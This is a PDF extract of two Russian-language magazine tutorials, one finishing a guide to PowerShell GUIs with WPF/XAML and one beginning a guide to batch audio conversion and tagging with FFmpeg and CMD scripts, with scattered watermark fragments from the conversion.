Таким­ образом­ , при работе с WinForms код для описания­ интерфейса­ (создание­ объектов­ для элемен­ ­тов управления­ ) оказыва­ ­ется тесно­ связан­ ­ ным с кодом, определя­ ­ющим функци­ ­ональ­ность сценария­ (обработ­ ­чики событий на элемен­ ­тах управления­ и другие­ функции­ ). Вносить­ изменения­ в такие сценарии­ неудобно­ , они быстро­ разраста­ ­ются и становят­ ­ся слишком­ объемны­ ­ми и сложными­ для понимания­ .

Более­ правиль­ ный­ подход­ , когда­ декларатив­ ное­ описание­ графичес­ кого­ интерфейса­ отделяет­ ся­ от остального­ кода, обеспечива­ ет­ технология­

Windows Presentation Foundation (WPF).

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

СОЗДАЕМ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС ДЛЯ СЦЕНАРИЕВ

ПОСТРОЕНИЕ GUI С ПОМОЩЬЮ WINDOWS PRESENTATION FOUNDATION

При использовании­ WPF графичес­ кий­ интерфейс описыва­ ется­ с помощью базирующе­ гося­ на XML языка­ разметки­ XAML (Extensible Application Markup Language). Таким образом­ , дизайн интерфейса­ отделяет­ ся­ от логики сце ­ нария, работающе­ го­ с этим интерфейсом­ .

Для работы с объекта­ ­ми WPF в PowerShell нужно­ загрузить­ сборку­

PresentationFramework:

PS C:\Users\andrv> Add-Type -AssemblyName PresentationFramework

Создадим­ сначала­ простей­ шее­ диалоговое­ окно без элемен­ тов­ раз ­ мером 300 на 200 пикселов­ и заголовком­ «Форма­ WPF». На первом­ шаге с помощью here-string создадим­ строку­ $xaml с XML-разметкой­ , содержащей­

один тег <Window/> с атрибута­ ми­ Width, Height и Title, и преобра­ зуем­ эту строку­ в объект­ XML:

PS C:\Users\andrv> [xml]$xaml = @"

>><Window

>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/

presentation"

>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"

>>/>

>>"@

Атрибут­ xmlns здесь определя­ ет­ пространс­ тво­ имен, содержащее­ имена­ элемен­ тов­ и атрибутов­ , которые можно­ использовать­ в разметке­ Windows Presentation Foundation. Префикс­ x перед атрибутом­ указыва­ ет­ на то, что дан ­ ный атрибут­ относит­ ся­ к данному­ пространс­ тву­ имен.

Создадим­ теперь экземпляр­ класса­ XmlNodeReader, передав ему объект­ $xaml в качестве­ аргумен­ та­ . Полученный­ объект­ сохраним­ в переменной­ $reader:

PS C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader

$xaml)

Объект­ , соответс­ тву­ ющий­ диалогово­ му­ окну, создает­ ся­ с помощью статичес­ ­ кого метода Load() класса­ XamlReader. В этот метод передается­ объект­

$reader:

PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(

$reader)

Теперь­ окно можно­ отобразить­ на экране­ с помощью метода ShowDialog.

PS C:\Users\andrv> $window.ShowDialog()

Пустая­ форма­ WPF

При этом работа оболоч­ ки­ PowerShell приоста­ новит­ ся­ , для ввода­ следующей­ команды­ нужно­ закрыть­ наше диалоговое­ окно. Добавим в нашу форму­ эле ­ мент <Grid>, задающий­ сетку­ для размещения­ других­ элемен­ тов­ управления­ .

PS C:\Users\andrv> [xml]$xaml = @"

>><Window

>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/

presentation"

>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"

>>>

>><Grid x:Name="Grid">

>>

<Grid.RowDefinitions>

>>

<RowDefinition Height="Auto"/>

>>

<RowDefinition Height="Auto"/>

>>

</Grid.RowDefinitions>

>>

<Grid.ColumnDefinitions>

>>

<ColumnDefinition Width="Auto"/>

>>

<ColumnDefinition Width="Auto"/>

>>

</Grid.ColumnDefinitions>

>></Grid>

>></Window>

>>"@

Сетка­ не отобража­ ется­ на экране­ , поэтому­ внешний­ вид главной­ формы­ (диалогово­ го­ окна) не изменит­ ся­ , форма­ останет­ ся­ пустой­ .0

Помес­ тим­ теперь на форму­ надпись­ (тег <Label> с именем­ Message) и кнопку­ (тег <Button> с именем­ ChangeMessage). Надписи­ в этих элемен­ тах­ задаются­

с помощью атрибута­ Content, расположе­ ­ние элемен­ ­та в ячейке­ сетки­ опре ­ деляется­ с помощью атрибутов­ Grid.Column и Grid.Row.

PS C:\Users\andrv> [xml]$xaml = @"

>><Window

>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/

presentation"

>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"

>>>

>><Grid x:Name="Grid">

>>

<Grid.RowDefinitions>

>>

<RowDefinition Height="Auto"/>

>>

<RowDefinition Height="Auto"/>

>>

</Grid.RowDefinitions>

>>

<Grid.ColumnDefinitions>

>>

<ColumnDefinition Width="Auto"/>

>>

<ColumnDefinition Width="Auto"/>

>>

</Grid.ColumnDefinitions>

>>

<Label x:Name="Message"

>>

Content="Привет!"

>>

Grid.Column="0"

>>

Grid.Row="0"

>>

/>

>>

<Button x:Name="ChangeMessage"

>>

Content="Нажми!"

>>

Grid.Column="1"

>>

Grid.Row="1"

>>

/>

>></Grid>

>></Window>

>>"@

Отобразим­ форму­ на экране­ :

C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader $xaml)

PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(

$reader)

PS C:\Users\andrv> $window.ShowDialog()

WPF-форма­ с элемен­ тами­ управления­

С помощью команды­ Set-Content поместим­ XAML-разметку­ для нашей фор ­

мы в файл wpf_test.xaml:

PS C:\Users\andrv> @"

>><Window

>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/

presentation"

>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"

>>>

>><Grid x:Name="Grid">

>>

<Grid.RowDefinitions>

>>

<RowDefinition Height="Auto"/>

>>

<RowDefinition Height="Auto"/>

>>

</Grid.RowDefinitions>

>>

<Grid.ColumnDefinitions>

>>

<ColumnDefinition Width="Auto"/>

>>

<ColumnDefinition Width="Auto"/>

>>

</Grid.ColumnDefinitions>

>>

<Label x:Name="Message"

>>

Content="Привет!"

>>

Grid.Column="0"

>>

Grid.Row="0"

>>

/>

>>

<Button x:Name="ChangeMessage"

>>

Content="Нажми!"

>>

Grid.Column="1"

>>

Grid.Row="1"

>>

/>

>></Grid>

>></Window>

>>"@ | Set-Content -Path ./wpf_test.xaml -Encoding UTF8

Теперь­ для отображения­ формы­ мы можем прочитать­ ее разметку­ из файла­ :

PS C:\Users\andrv> [xml]$xaml = Get-Content -Path .\wpf_test.xaml

-Encoding UTF8

PS C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader

$xaml)

PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(

$reader)

Осталось­ добавить форме­ функци­ ональ­ ность­ , создав­ обработ­ чики­ нужных­ событий, возника­ ющих­ на элемен­ тах­ управления­ . Это делается­ практичес­ ки­ так же, как и при использовании­ WinForms, за исключени­ ем­ того, что нам нуж ­ но предваритель­ но­ создать­ объекты­ переменные­ , соответс­ тву­ ющие­ элемен­ ­ там управления­ загружен­ ной­ формы­ .

Напом­ ним­ , что для тегов элемен­ тов­ управления­ мы задавали­ атрибут­ Name из пространс­ тва­ имен XAML-разметки­ для WPF:

<Label x:Name="Message"

...

/>

<Button x:Name="ChangeMessage"

...

/>

По значению­ атрибута­ Name с помощью метода $window.FindName() получим ссылки­ на соответс­ ­тву­ющие элемен­ ­ты управления­ :

PS C:\Users\andrv> $messageLabel = $window.FindName("Message")

PS C:\Users\andrv> $changeButton = $window.FindName("ChangeMessage")

Пусть, как и в примере­ с WinForms, при нажатии кнопки­ текст надписи­ в нашей форме­ должен­ изменить­ ся­ на «Пока!». Для этого­ зададим обработ­ чик­ события Click на кнопке­ с помощью метода Add_Click:

PS C:\Users\andrv> $changeButton.Add_Click({$messageLabel.Content=

'Пока!'})

Теперь­ форму­ можно­ отобразить­ на экране­ и проверить­ результат­ нажатия кнопки­ .

PS C:\Users\andrv> $window.ShowDialog()

Изменение­ содержимого­ элемен­ та­ управления­ на WPF-форме­

Итак, при работе с графичес­ ким­ интерфейсом­ с помощью WPF нужно­ выпол ­ нить следующие­ шаги:

1.Создать­ XAML-файл с описани­ ­ем интерфейса­ .

2.Подклю­ ­чить сборку­ PresentationFramework.

3.Создать­ объект­ , соответс­ ­тву­ющий форме­ , загрузив­ ее описание­ в фор ­

мате XAML.

4.Определить­ переменные­ (объекты­ ), соответс­ ­тву­ющие элемен­ ­там управления­ в форме­ .

5.Написать блоки­ кода для обработ­ ­чиков событий и привязать­ их к объ ­ ектам, созданным­ на предыду­ ­щем шаге.

6.Отобразить­ главную­ форму­ на экране­ .

Таким­ образом­ , при работе с WPF мы можем создавать­ и изменять­ дизайн интерфейса­ независимо­ от его функци­ она­ ла­ . Кроме­ того, XAML-описание­ формы­ не зависит от специфи­ ки­ PowerShell, как это было в случае­ интерфей ­ са на базе WinForms, поэтому­ вариантов­ выбора визуаль­ ного­ конструк­ тора­ для постро­ ения­ форм становит­ ся­ больше­ .

Кроме­ платных­ специали­ зиро­ ван­ ных­ сред разработ­ ки­ сценари­ ев­

PowerShell (Sapien PowerShell Studio, PowerShell GUI Designer), можно­ вос ­ пользовать­ ­ся бесплат­ ­ной платформой­ Microsoft — Visual Studio Community Edition. Скачать­ Visual Studio можно­ с сайта­ Microsoft. Для постро­ ­ения интерфейса­ формы­ и получения­ ее XAML-разметки­ нужно­ при запуске­ Visual Studio создать­ новый проект­ «Приложе­ ­ние WPF (.NET Framework)».

Создание­ WPF-приложе­ ния­ в Visual Studio

При создании­ такого приложе­ ния­ можно­ настро­ ить­ дизайн формы­ с помощью графичес­ кого­ конструк­ тора­ .

Конструк­ тор­ для WPF-форм в Visual Studio

В результате­ будет автомати­ чес­ ки­ сформирован­ XAML-файл, с которым мож ­ но работать в PowerShell.

ИТОГИ

Добавить­ графичес­ ­кий интерфейс к сценари­ ­ям Windows PowerShell можно­ с помощью библиотек­ Windows Forms (WinForms) или Windows Presentation

Foundation (WPF). При использовании­ WinForms элемен­ ты­ интерфейса­ соз ­ даются­ и настра­ ивают­ ся­ непосредс­ твен­ но­ в коде PowerShell. Средства­ для визуаль­ ного­ редактирова­ ния­ подобных­ форм встроены­ в профес­ ­ сиональные­ среды­ разработ­ ки­ сценари­ ев­ PowerShell.

При работе с WPF дизайн интерфейса­ , описыва­ ­емый с помощью разметки­ в формате­ XAML, не связан­ с кодом PowerShell. Создавать­ и редактировать­

WPF-формы­ можно­ с помощью визуаль­ ного­ конструк­ тора­ в бесплат­ ной­ вер ­

сии Microsoft Visual Studio.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Игорь Орещенков r0bur@mail.ru

АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS

Любите­

ли­

 

 

музыки часто­ сталкива­

ются­

 

 

с

необходимостью­

навести­ порядок в собствен­

ной­

 

 

коллекции­

 

аудиофай­

лов­ .

А если аудиофай­

лов­

очень много­ , это превраща­

ется­

в проб ­

лему. В сегодняшней­

статье мы разберем­

способ­

 

 

автомати­

­

ческой­

 

 

 

 

 

 

конверта­

ции­

 

 

 

 

 

и

 

 

 

 

аннотиро­

вания­

 

 

 

 

аудиофай­

лов­

в Windows с помощью утилиты­

 

FFmpeg и CMD-сценари­

ев­ .

 

 

 

 

 

Наступила­

 

весна­ , приближа­

ется­

лето, и хочется­ проводить­

свобод­ ное­ время­

на природе­

, вдыхая­ свежий­

воздух­ и слушая­

 

голоса птиц. Если же наскучит­

лесная­ идиллия­ , всегда­ можно­ разнооб­

разить­

отдых любимой музыкальной­

композици­

ей­ , аудиокни­

гой­ , курсами­

 

иностран­

ного­

языка­ или общеобра­

зова­

­

тельными­

 

лекциями­

. Замечено­ , что аудиопле­

еры­ , будь то отдельные­

 

устрой ­

ства или приложе­

ния­ для смартфо­ на­ , гораздо­ лучше­ работают­ с аудиокол­

­

лекциями­ , файлы­ которых содержат­ сведения­

 

об альбомах­

и треках­ в них.

 

 

 

 

 

 

Лицен­ зион­

ные­

 

 

материалы­ , как правило­

, сопровож­

дают­

ся­ всеми­ необ ­

ходимыми­ атрибута­ ми­ . Но есть еще любительские­

 

и диктофон­

ные­

 

записи,

оцифровки­

 

 

грамплас­

тинок­

и аудиокас­

сет­ , свобод­ но­ распростра­

няемые­

ком ­

позиции, которые надо упорядо­

чить­

и подписать­

. А еще желательно­ привес­ ти­

параметры­ файлов­ в соответс­ твие­

 

с хранящи­

мися­

в них аудиодан­

ными­

. Нап ­

ример,

оцифрован­

ную­

 

пластинку­

 

 

 

«Мелодия»

 

с

 

маркиров­

кой­

 

«Моно»

и записью бардов­ ских­

 

 

песен, исполнявшихся­

 

полвека­

 

назад на концерте­

в каком нибудь провин­ циаль­

ном­

доме культуры­

, можно­ сохранить­

в формате­

FLAC для истории­ , но нет никакого­ практичес­

кого­

смысла­ записывать­

ее

на портатив­

ный­

проигры­

ватель­

в стереофор­

мате­

 

с частотой­

 

 

 

 

дискре­ тиза­ ­

ции 48 кГц и скоростью­

 

потока 320 Кбит/с.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для конверта­

ции­ аудиофай­

лов­ и редактирова­

ния­ их тегов есть множес­ тво­

программ­

, как платных­ , так и свобод­ но­ распростра­

няемых­

,

с интерфейсами­

различной­

 

степени­

 

изящес­ тва­ и удобства­ . Но большинс­

тво­ из них — оболоч­ ­

ки вокруг­ одного­ двух проектов­

с

 

открытым­

 

 

исходным кодом, в которых

как раз и реализова­

на­ вся необходимая­

функци­ ональ­

ность­

.

Как правило­

,

в основе­ лежит утилита­

командной­

 

строки­ , обладающая­

широким набором

возможнос­

тей­ , а графичес­

кая­ оболоч­ ка­ открывает­

доступ­ к их подмно­ жес­ тву­ ,

отобранно­

му­ по принципу­

решения отдельной­ пользователь­

ской­

проблемы­

.

 

 

 

Недав­ но­ я занимался­ пакетной­

 

обработ­ кой­

 

изображений­

, для чего

использовал­

программу­

ImageMagick. И случай­ но­ обнаружил­

, что в состав­ ее

 

 

 

 

 

 

дистри­ бути­ ва­ входит­ утилита­

FFmpeg, которая, как известно­ , умеет­ выполнять­

множес­ тво­ операций­

 

над медиафай­

­

лами

. Почему бы не восполь­

зовать­

ся­ ею

для конверта­

ции­

 

 

 

 

и

 

 

оснащения­

 

тегами

файлов­

 

 

моей

аудиокол­

лекции­

?

Но запускать­

 

утилиту­

командной­

строки­ и указывать­

множес­ тво­ параметров­

для каждого­

MP3-файла­ довольно­ утомитель­

но­ , и очевид­ но­ , что процесс­

надо автомати­

зиро­

вать­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Из всего­ богатого­ спектра­

 

интерпре­ тиру­ емых­

 

 

языков­

 

 

и

систем­

 

 

прог ­

раммирова­

ния­ , с помощью которых можно­ было бы легко­ реализовать­

эту

затею, я остановил­

ся­ на самом примитив­

ном­

 

инстру­ мен­ те­ — языке­ сценари­

­

ев командно­ го­ процес­ сора­

 

 

Windows. Почему?

 

Во первых­ , он имеется­

на любой Windows-платформе­

, от W2K до W11. Во вторых­ , он напрямую­

пред ­

назначен­ для автомати­

зации­

рутинных­ операций­

с файлами­

. А в третьих­ , он

имеет­

встроенную­

 

 

 

сопроводи­

тель­ ную­

 

 

документацию­

 

 

 

— чтобы­ получить

справку­ , не придет­ ся­ даже открывать­

браузер­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак,

 

сформулиру­

ем­

 

задачу. Даны аудиоаль­

бомы­

, представ­ ленные­

наборами­

аудиофай­

лов­ . Требует­ ся­ добавить к этим файлам­

изображение­

обложки

 

альбома­

 

 

 

и

 

описатель­

ных­

 

тегов из тексто­ вого­

 

 

файла­ , а также­

при необходимос­

ти­ конверти­

ровать­

эти файлы­ в формат­ MP3 с установ­ кой­

требуемых­

 

 

 

 

параметров­

 

аудиодан­

ных­ . Для решения задачи попытаемся­

использовать­

 

 

программу­

 

FFmpeg и язык сценари­

ев­ командной­

оболоч­ ки­

CMD.EXE, пока корпорация­

разработ­

чик­ не отправила­

его на свалку­ истории­

вслед за Paint’ом.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ИЗУЧЕНИЕ ВОЗМОЖНОСТЕЙ FFMPEG

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Начать­

решение задачи я решил с изучения­

 

 

возможнос­

тей­ FFmpeg в инте ­

ресующей­

 

меня области. В том, что она справит­ ся­ с конверта­

цией­

аудиофай­

­

лов из одного­ формата­

в другой­ , я почти­ не сомневал­

ся­ . Но сумеет­ ли она

прикрепить­

 

 

изображение­

 

обложки

 

и

 

 

добавить

 

 

информацион­

ные­

 

 

 

 

теги

в результиру­ ющие­

файлы­ ?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мои

сомнения­

 

 

 

были

развеяны­

 

статьей­

 

 

 

Стефана­

 

Шмитца­

 

 

 

«Получение­

и установ­ ­ка метатегов­ ID3 с помощью FFmpeg», в которой автор привел­ при ­

меры интересу­

ющих­

меня команд. Основная идея заключа­

ется­

в том, что зна ­

чения тегов указыва­

ются­

программе­

FFmpeg в виде параметров­ :

 

 

 

-metadata НазваниеТега="ЗначениеТега"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Более­

того, в статье

имеется­

пример­

использования­

тексто­ вого­

файла­

в качестве­ источника­ тегов. К сожалению­ , для этого­ нужно­ создавать­

отдель ­

ные тексто­ вые­

файлы­ с тегами для каждого­

аудиофай­

ла­ , тогда­ как гораздо­

удобнее­ все сведения­

о содержимом­

аудиоаль­

бома­

держать­

в одном тексто­ ­

вом файле­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Указывать­ полный­ путь к исполняемо­ ­му файлу­ FFmpeg в командной­ строке­ крайне­ неудобно­ . Обычно­ при установ­ ­ке программы­ предлага­ ­ют включить­ путь в системную­ переменную­ окружения­ PATH, но я предпочитаю­ ее не засорять. Вместо­ этого­ можно­ поместить­ в папку­ , уже присутс­ ­тву­ющую в этой переменной­ , командный­ файл ffmpeg.cmd следующе­ ­го содержания­ :

@"%ProgramFiles%\ImageMagick-7.1.0-Q8\ffmpeg.exe" %*

Символ­ @ подавляет­ эхо печать командной­ строки­ , а вместо­ сочетания­ %* при выполнении­ будут подстав­ лены­ все параметры­ , переданные­ сценарию­ ffmpeg.cmd. Таким образом­ , использовать­ FFmpeg из командной­ строки­ для конверта­ ции­ файла­ SRC\sample.wav в TGT\sample.mp3 можно­ так:

ffmpeg.cmd -i SRC\sample.wav TGT\sample.mp3

Ответ­ на вопрос­ , можно­ ли с помощью FFmpeg снабдить­ MP3-файл изоб ­ ражением­ обложки, был практичес­ ки­ моменталь­ но­ получен в поисковой­ сис ­ теме. Оказалось­ , что с точки­ зрения­ FFmpeg изображение­ обложки является­ для MP3-файла­ видеопо­ током­ и, чтобы­ склеить­ его с аудиодан­ ными­ , надо восполь­ зовать­ ся­ командой­ вида

ffmpeg -i SRC\audio.mp3 -i SRC\cover.jpg -map 0 -map 1 -id3v2_version

3-metadata:s:v title="Album cover" TGT\audio.mp3

Спомощью опций -map источники­ данных­ из входных­ файлов­ отобража­ ­ются

в потоки выходного­

файла­ . Первая­

опция

определя­

ет­ первый­

поток, ее

параметр 0 говорит

о том, что

надо использовать­

первый­

 

указан­ ный­

с помощью опции -i источник, в приведен­

ном­

примере­

это аудиодан­

ные­

из файла­ SRC\audio.mp3. Вторая­

опция

определя­

ет­ второй­

 

поток,

ее

параметр 1 говорит, что надо использовать­

второй­

указан­ ный­

с помощью

опции -i источник — изображение­

из файла­ SRC\cover.jpg.

 

 

 

Слияние­ файлов­ с аудиодан­ ными­ и изображени­ ем­ в аудио- и видеопо­ ­ токи файла­ контей­ нера­ MP3

По умолчанию­

FFmpeg автомати­

чес­ ки­ кодирует­

потоки

в

соответс­

твии­

со своими­

предус­ танов­

ками­

так, чтобы­ они отвечали­

формату­

 

выходного­

файла­ (определя­

ется­

по расширению­

). Например­

, аудио она конверти­

рует­

кодеком LAME с частотой­

 

дискре­ тиза­

ции­

44

 

100 Гц и скоростью­

потока 128 Кбит/с, а изображение­

преобра­

зует­

в формат­ PNG. Если манипу ­

ляции с обложкой еще можно­ простить­ , то описан­ ные­

действия­

со звуком­

меломаны­ могут воспри­ нять­

как личное­

оскорбле­ ние­ . К счастью, можно­ зап ­

ретить программе­

выполнять­

какие бы то ни было преобра­

зова­

ния­ , указав­

в командной­

строке­ опцию -c

copy. Или запретить­

преобра­

зовы­

вать­

только­

аудио, конкре­ тизи­

ровав­

опцию так: -c:a copy.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Опция­

-id3v2_version

3 требует­

 

использовать­

версию­

2.3

тегов ID3.

Без нее записанное­

в выходной­

файл изображение­

не будет отыскивать­

ся­

и демонстри­ ровать­

ся­

проигры­

вате­

лями­

. Наоборот­ , опция -metadata:s:v

title="Album cover", назнача­

ющая­

потоку ([b]s[/b]tream) с видеодан­

ными­

([b]v[/b]ideo) атрибут­ title со значени­

ем­ "Album

 

cover",

служит­

только­

декоратив­ ной­ цели.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теги­

ID3 должны­

назначать­

ся­

контей­ неру­

 

MP3 в целом, а не отдельному­

содержащему­

ся­

в нем потоку. Поэтому­ для них опция -metadata использует­ ­ся без дополнитель­ ­ных специфи­ ­като ­ ров.

В моей аудиокол­ лекции­ наряду с музыкальными­ произве­ дени­ ями­ обнаружи­ ­ лись аудиопод­ касты­ , записанные­ с высоким качеством­ . Воспри­ ятие­ этих материалов­ на слух не страдает­ , если понизить частоту­ дискре­ тиза­ ции­ (sample rate) до 22 кГц и свести­ стереоз­ вук­ в монодорож­ ку­ . Конкре­ тизи­ ровать­ параметры­ преобра­ зова­ ния­ аудиопо­ тока­ программе­ FFmpeg можно­ с помощью таких опций:

... -c:a libmp3lame -ar 22050 -ac 1 ...

Опция­ -c предписыва­ ет­ выполнять­ обработ­ ку­ аудиопо­ тока­ кодеком Lame MP3, опция -ar задает­ частоту­ дискре­ тиза­ ции­ аудиопо­ тока­ 22 050 Гц, а опция -ac требует­ свести­ звук в одну дорожку­ . После­ такого преобра­ зова­ ­ ния размер­ MP3-файлов­ значитель­ но­ уменьшил­ ся­ . Допустимые­ значения­ частоты­ дискре­ тиза­ ции­ в порядке­ убывания­ качества­ (Гц): 48 000, 44 100, 32 000, 24 000, 22 050, 16 000, 11 025, 8000.

Управлять­ качеством­ звуково­ го­ потока можно­ и с помощью опции, позволя­ ющей­ задать мак ­ симальную­ скорость­ передачи­ данных­ (bitrate). Например­ , для ограниче­ ния­ скорос­ ти­ до 96 Кбит/ с надо указать­ : -b:a 96k.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS

ИЗУЧЕНИЕ ВОЗМОЖНОСТЕЙ CMD-СЦЕНАРИЕВ

Язык CMD-сценари­ ­ев базируется­ на крайне­ ограничен­ ­ном языке­ пакетных­ batch-файлов­ , который изначаль­ ­но использовал­ ­ся только­ для выполнения­ одной и той же линейной­ последова­ ­тель­нос­ти команд операци­ ­онной сис ­ темы. Но со временем­ инструк­ ­ция FOR была расширена­ для того, чтобы­ с ее помощью можно­ было обрабаты­ ­вать тексто­ ­вые файлы­ , выполнять­ синтакси­ ­ ческий­ разбор­ строк и присваивать­ переменным­ сценария­ значения­ на осно ­ ве обнаружен­ ­ных фрагментов­ .

Подробную­ справку­ о возможнос­ ­тях инструк­ ­ции FOR выгрузит­ в тексто­ ­вый файл help-for.txt такая последова­ ­тель­ность команд:

CHCP 1251

HELP FOR > help-for.txt

CHCP 866

Коман­ да­ CHCP устанав­ лива­

ет­

кодировку­ символов­

, которая использует­ ся­

в сеансе­ командной­

строки­ . По умолчанию­

